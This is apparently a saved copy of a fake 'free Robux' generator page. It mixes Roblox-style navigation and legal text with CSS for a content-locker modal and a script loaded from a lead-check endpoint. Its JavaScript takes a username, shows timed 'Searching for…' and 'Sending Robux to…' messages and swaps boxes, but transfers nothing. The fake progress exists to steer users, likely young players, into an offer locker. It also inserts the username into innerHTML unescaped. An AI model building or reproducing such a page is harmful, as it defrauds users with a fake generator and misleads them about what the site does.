flex-direction: row;
justify-content: center;
align-items: center
}
#unispy-app .unispy-embed-vip-box .unispy-embed-vip-box-buttons .unispy-btn img {
margin-right: 5px
}
#unispy-app .unispy-login {
margin: 1.5rem
}
#unispy-app .unispy-login .unispy-login-box {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center
}
#unispy-app .unispy-login .unispy-login-box .unispy-login-icon {
width: 80px;
height: 80px;
stroke: none
}
#unispy-app .unispy-login .unispy-login-box p {
margin: 1rem 0;
text-align: center;
color: #4a4a4a;
font-size: 1rem
}
#unispy-app .unispy-login .unispy-login-box .unispy-btn {
margin-bottom: 1.5rem
}
#unispy-app .unispy-login .unispy-login-box .unispy-btn svg {
width: 18px;
height: 18px;
stroke: none
}
#unispy-app .unispy-page-wrap {
z-index: 2147483647;
background: rgba(0,0,0,.5);
overflow: auto
}
#unispy-app .unispy-page-wrap,#unispy-app .unispy-page-wrap .unispy-page-wrap-dark {
position: fixed;
left: 0;
right: 0;
top: 0;
bottom: 0
}
#unispy-app .unispy-page-wrap .unispy-app-page {
position: fixed;
background-color: #f5f9fd;
border-radius: 10px;
overflow: hidden
}
#unispy-app .unispy-page-wrap .unispy-app-page.unispy_position_1 {
right: 10px;
top: 10px
}
#unispy-app .unispy-page-wrap .unispy-app-page.unispy_position_2 {
left: 10px;
top: 10px
}
#unispy-app .unispy-page-wrap .unispy-app-page.unispy_position_3 {
right: 10px;
bottom: 10px
}
#unispy-app .unispy-page-wrap .unispy-app-page.unispy_position_4 {
left: 10px;
bottom: 10px
}
#unispy-app .unispy-app-fab {
position: fixed;
z-index: 2147483646;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
font-size: 11px;
cursor: pointer;
background: #fff;
padding: 10px;
border-radius: 18px;
box-shadow: 0 0 14px 0 rgba(0,0,0,.1);
transition: all .1s ease
}
#unispy-app .unispy-app-fab.unispy_position_1 {
right: 18px;
top: 74px
}
#unispy-app .unispy-app-fab.unispy_position_2 {
left: 18px;
top: 74px
}
#unispy-app .unispy-app-fab.unispy_position_3 {
right: 18px;
bottom: 60px
}
#unispy-app .unispy-app-fab.unispy_position_4 {
left: 18px;
bottom: 60px
}
#unispy-app .unispy-app-fab .unispy-app-fab-logo {
width: 41.6px;
height: 41.6px;
transform: scale(.88)
}
#unispy-app .unispy-app-fab:hover .unispy-app-fab-logo {
transform: scale(1)
}
@keyframes rotateLoading {
0% {
transform: rotate(0deg)
}
to {
transform: rotate(359deg)
}
}
@keyframes pulseBg {
0% {
background: #ddd;
transform: scale(1)
}
50% {
background: #e9162b;
transform: scale(1.1)
}
to {
background: #ddd;
transform: scale(1)
}
}
.fade-enter-active .page,.fade-leave-active .page {
transition: .3s ease
}
.fade-enter .page,.fade-leave-to .page {
opacity: 0;
transform: translateX(30px)
}
</style>
<style type="text/css">
x-vue-echarts {
display: block;
width: 100%;
height: 100%
}
</style>
<style>#xf_MODAL_CONTAINER .xfmodal-header {
border-bottom: 1px solid #e5e5e5;
} #xf_MODAL_CONTAINER #xfMODALFOOTER { display:none } #xf_MODAL_CONTAINER #xf_MODAL { background-color: rgb(0,0,0); /* Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity */ } #xf_MODAL_CONTAINER #xfMODALTITLE { display: none; } #xf_MODAL_CONTAINER .fa { } #xf_MODAL_CONTAINER #xfMODALCONTENT { border: none; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ width:90%; height:700px; max-width: 500px; background: none; } #xf_MODAL_CONTAINER #xfMODALBODY { height:100%; -webkit-overflow-scrolling: touch; } #xf_MODAL_CONTAINER #xf_MODAL{ /overflow:hidden;/ } #xf_MODAL_CONTAINER #xfMODALCONTENT { width: 100% !important; height:100%; margin: 0 !important; background: none; max-width: none !important; }
#xf_MODAL_CONTAINER .cpabuildmodal-header { border-bottom: 1px solid #e5e5e5; } #xf_MODAL_CONTAINER #xfMODALFOOTER { display:none } #xf_MODAL_CONTAINER #xf_MODAL { background-color: rgb(0,0,0); /* Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity */ } #xf_MODAL_CONTAINER #xfMODALTITLE { display: none; } #xf_MODAL_CONTAINER .fa { } #xf_MODAL_CONTAINER #xfMODALCONTENT { border: none; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ width:90%; height:700px; max-width: 500px; background: none; } #xf_MODAL_CONTAINER #xfMODALBODY { height:100%; -webkit-overflow-scrolling: touch; } #xf_MODAL_CONTAINER #xf_MODAL{ /overflow:hidden;/ } #xf_MODAL_CONTAINER #xfMODALCONTENT { width: 100% !important; height:100%; margin: 0 !important; background: none; max-width: none !important; }</style>
<style>#xf_MODAL_CONTAINER .xfmodal-header {
border-bottom: 1px solid #e5e5e5;
} #xf_MODAL_CONTAINER #xfMODALFOOTER { display:none } #xf_MODAL_CONTAINER #xf_MODAL { background-color: rgb(0,0,0); /* Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity */ } #xf_MODAL_CONTAINER #xfMODALTITLE { display: none; } #xf_MODAL_CONTAINER .fa { } #xf_MODAL_CONTAINER #xfMODALCONTENT { border: none; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ width:90%; height:700px; max-width: 500px; background: none; } #xf_MODAL_CONTAINER #xfMODALBODY { height:100%; -webkit-overflow-scrolling: touch; } #xf_MODAL_CONTAINER #xf_MODAL{ /overflow:hidden;/ } #xf_MODAL_CONTAINER #xfMODALCONTENT { width: 100% !important; height:100%; margin: 0 !important; background: none; max-width: none !important; }
#xf_MODAL_CONTAINER .cpabuildmodal-header { border-bottom: 1px solid #e5e5e5; } #xf_MODAL_CONTAINER #xfMODALFOOTER { display:none } #xf_MODAL_CONTAINER #xf_MODAL { background-color: rgb(0,0,0); /* Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity / } #xf_MODAL_CONTAINER #xfMODALTITLE { display: none; } #xf_MODAL_CONTAINER .fa { } #xf_MODAL_CONTAINER #xfMODALCONTENT { border: none; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ width:90%; height:700px; max-width: 500px; background: none; } #xf_MODAL_CONTAINER #xfMODALBODY { height:100%; -webkit-overflow-scrolling: touch; } #xf_MODAL_CONTAINER #xf_MODAL{ /overflow:hidden;/ } #xf_MODAL_CONTAINER #xfMODALCONTENT { width: 100% !important; height:100%; margin: 0 !important; background: none; max-width: none !important; }</style><style>#xf_MODAL_CONTAINER .xfmodal-header { border-bottom: 1px solid #e5e5e5; } #xf_MODAL_CONTAINER #xfMODALFOOTER { display:none } #xf_MODAL_CONTAINER #xf_MODAL { background-color: rgb(0,0,0); / Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity */ } #xf_MODAL_CONTAINER #xfMODALTITLE { display: none; } #xf_MODAL_CONTAINER .fa { } #xf_MODAL_CONTAINER #xfMODALCONTENT { border: none; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ width:90%; height:700px; max-width: 500px; background: none; } #xf_MODAL_CONTAINER #xfMODALBODY { height:100%; -webkit-overflow-scrolling: touch; } #xf_MODAL_CONTAINER #xf_MODAL{ /overflow:hidden;/ } #xf_MODAL_CONTAINER #xfMODALCONTENT { width: 100% !important; height:100%; margin: 0 !important; background: none; max-width: none !important; }
#xf_MODAL_CONTAINER .cpabuildmodal-header { border-bottom: 1px solid #e5e5e5; } #xf_MODAL_CONTAINER #xfMODALFOOTER { display:none } #xf_MODAL_CONTAINER #xf_MODAL { background-color: rgb(0,0,0); /* Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity / } #xf_MODAL_CONTAINER #xfMODALTITLE { display: none; } #xf_MODAL_CONTAINER .fa { } #xf_MODAL_CONTAINER #xfMODALCONTENT { border: none; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ width:90%; height:700px; max-width: 500px; background: none; } #xf_MODAL_CONTAINER #xfMODALBODY { height:100%; -webkit-overflow-scrolling: touch; } #xf_MODAL_CONTAINER #xf_MODAL{ /overflow:hidden;/ } #xf_MODAL_CONTAINER #xfMODALCONTENT { width: 100% !important; height:100%; margin: 0 !important; background: none; max-width: none !important; }</style><style>#xf_MODAL_CONTAINER .xfmodal-header { border-bottom: 1px solid #e5e5e5; } #xf_MODAL_CONTAINER #xfMODALFOOTER { display:none } #xf_MODAL_CONTAINER #xf_MODAL { background-color: rgb(0,0,0); / Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity */ } #xf_MODAL_CONTAINER #xfMODALTITLE { display: none; } #xf_MODAL_CONTAINER .fa { } #xf_MODAL_CONTAINER #xfMODALCONTENT { border: none; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ width:90%; height:700px; max-width: 500px; background: none; } #xf_MODAL_CONTAINER #xfMODALBODY { height:100%; -webkit-overflow-scrolling: touch; } #xf_MODAL_CONTAINER #xf_MODAL{ /overflow:hidden;/ } #xf_MODAL_CONTAINER #xfMODALCONTENT { width: 100% !important; height:100%; margin: 0 !important; background: none; max-width: none !important; }
#xf_MODAL_CONTAINER .cpabuildmodal-header { border-bottom: 1px solid #e5e5e5; } #xf_MODAL_CONTAINER #xfMODALFOOTER { display:none } #xf_MODAL_CONTAINER #xf_MODAL { background-color: rgb(0,0,0); /* Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity */ } #xf_MODAL_CONTAINER #xfMODALTITLE { display: none; } #xf_MODAL_CONTAINER .fa { } #xf_MODAL_CONTAINER #xfMODALCONTENT { border: none; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ width:90%; height:700px; max-width: 500px; background: none; } #xf_MODAL_CONTAINER #xfMODALBODY { height:100%; -webkit-overflow-scrolling: touch; } #xf_MODAL_CONTAINER #xf_MODAL{ /overflow:hidden;/ } #xf_MODAL_CONTAINER #xfMODALCONTENT { width: 100% !important; height:100%; margin: 0 !important; background: none; max-width: none !important; }</style><style type="text/css" id="xfSettingsCSS">#xf_MODAL_CONTAINER #xfMODALCONTENT{animation-duration: 600ms;-webkit-transition: all 600ms;transition: all 600ms;transition-duration: 600ms;}</style><script id="xfLEADCHECK" type="text/javascript" src="./Get Robux_files/check.php"></script>
- Discover
- Marketplace
- Robux
Robux allows you to purchase upgrades for your avatar or buy special abilities in experiences.
Searching for ...
When you buy Robux you receive only a limited, non-refundable, non-transferable, revocable license to use Robux, which has no value in real currency. By selecting the Premium subscription package, (1) you agree that you are over 18 and that you authorize us to charge your account every month until you cancel the subscription, and (2) you represent that you understand and agree to the Terms of Use, which includes an agreement to arbitrate any dispute between you and Roblox, and Privacy Policy. You can cancel at any time by clicking “Cancel subscription” on the billing tab of the setting page. If you cancel, you will still be charged for the current billing period. See Terms of Use for other limitations.
const rbxbtn = document.querySelector(".getrbx");
const box1 = document.querySelector(".box");
const box2 = document.querySelector(".box2");
const box3 = document.querySelector(".box3");
const box4 = document.querySelector(".box4");
const rbxtotal = document.querySelectorAll(".details");
const username = document.querySelector(".username");
const useroutput = document.querySelector(".useroutput");
rbxbtn.addEventListener("click", () => {
if (username.value.length <= 2) {
alert("please enter username");
} else {
box1.style.display = "none";
box2.style.display = "block";
setTimeout(showbox2, 4500);
setTimeout(showbox3, 4500);
}
useroutput.innerHTML = `Searching for <b>${username.value}</b> ...`;
}
);
rbxtotal.forEach( (btn) => {
btn.addEventListener("click", () => {
box3.style.display = "none";
box2.style.display = "block";
setTimeout(showboxagain, 2500);
setTimeout(showbox4, 2500);
useroutput.innerHTML = `Sending Robux to <b>${username.value}</b>...`;
}
);
}
);
let showboxagain = () => {
box2.style.display = "none";
}
;
let showbox2 = () => {
box2.style.display = "none";
}
;
let showbox3 = () => {
box3.style.display = "block";
}
;
let showbox4 = () => {
box4.style.display = "block";
}
;
</script>